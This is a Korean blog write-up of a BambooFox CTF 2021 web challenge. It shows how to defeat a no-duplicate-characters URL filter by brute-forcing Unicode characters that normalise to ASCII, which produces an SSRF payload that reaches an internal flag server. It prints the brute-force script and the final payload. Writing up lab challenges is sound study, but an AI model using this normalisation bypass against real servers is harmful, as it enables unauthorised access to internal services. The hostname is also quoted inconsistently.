[CTF 사이트 닫힘]
문제를 보면 링크가 제공된다.
링크로 들어가면 위와 같이 페이지가 나오고, 소스를 확인해준다.
1) FLAG is on this server: http://the.c0o0o0l-fl444g.server.internal:80을 통해 FLAG가 어디에 위치하는지 확인하였다.
2)
위와 같은 소스 코드를 제공받았다.
3)
const { url } = req.query;
: req.query(쿼리 문자열 매개 변수에 대한 속성이 포함 된 개체다.)을 통해 “url” 쿼리 문자열 매개 변수를 찾고 있음
4) if (url.length !== new Set(url).size) return res.sendFile(__dirname + "/frog.png");
: : 문자열이어야 하고 중복 문자를 가질 수 없다. 중복 문자에 대한 검사는 Set()을 통해 이뤄진다.
new Set(url) : url 문자열을 가져 와서 문자열에 있는 고유 한 문자를 중복 없이 집합으로 나눈다.
코드를 통해서 중복된 문자를 사용하지 않고 우회해서 http://the.c0o0o0l-fl444g.server.internal:80을 만들어야 한다.
일단 Set()을 사용하므로 T와 t는 다른 문자로 인식하므로 ‘http’를 ‘HTtP’로 변경해준다.
그리고 ‘//’은 완전히 생략할 수 있고, 맨 마지막의 ‘80’은 프로토콜의 기본값이므로 필요하지 않다. 정리해보면, ‘HTtP:the.c0o0o01-fl444g.server.internal’을 우회해주면 된다.
여기서 T와 t를 이미 사용했기 때문에 t로 정규화되는 다른 유니 코드 문자를 찾아야 했다.
공격코드
function findVariants(targetChar) {
let targetHost = 'fake' + targetChar + '.com';
for (i=32; i<=65535; i++){
let candidateChar = String.fromCharCode(i);
let input = 'http://fake' + candidateChar + '.com';
try {
let url = new URL(input);
if (url.hostname === targetHost){
console.log(targetChar, ':' , i, candidateChar);
}
}
catch(e){
}
}
}
let domain = 'the.c0o0o01-fl444g.server.internal';
let domainSet = new Set(domain);
for (c of domainSet){
findVariants(c)
}
위 자바 스크립트 코드는 구하고자 하는 도메인 이름을 가져와서 Set()으로 변환을 하고 각 문자에 대해 findVariants()함수에 주어진 targetChar로 정규화 되는 유니 코드 문자를 찾도록 요청한다.
실행결과
코드를 실행하면 위와 같이 다른 유니 코드 문자들을 찾을 수 있었다.
찾은 문자들로 중복 없이 ‘HTtP:the.c0o0o01-fl444g.server.internal’을 만들어 주면 ‘HTtP:ᵗhe.c0o⁰O₀l-fL4⁴₄g.sErvᵉR。inₜₑʳNaˡ’을 얻을 수 있다.
이 값을 URL에 입력해주면 flag인 flag{C0o0o0oL_baby_ssrf_trick}을 리턴해준다.
'[CTF] BambooFox CTF 2021' 카테고리의 다른 글
Calc.exe Online(webhacking) (0) | 2023.12.21 |
---|---|
ヽ (#`Д´) ノ(web) (0) | 2023.12.21 |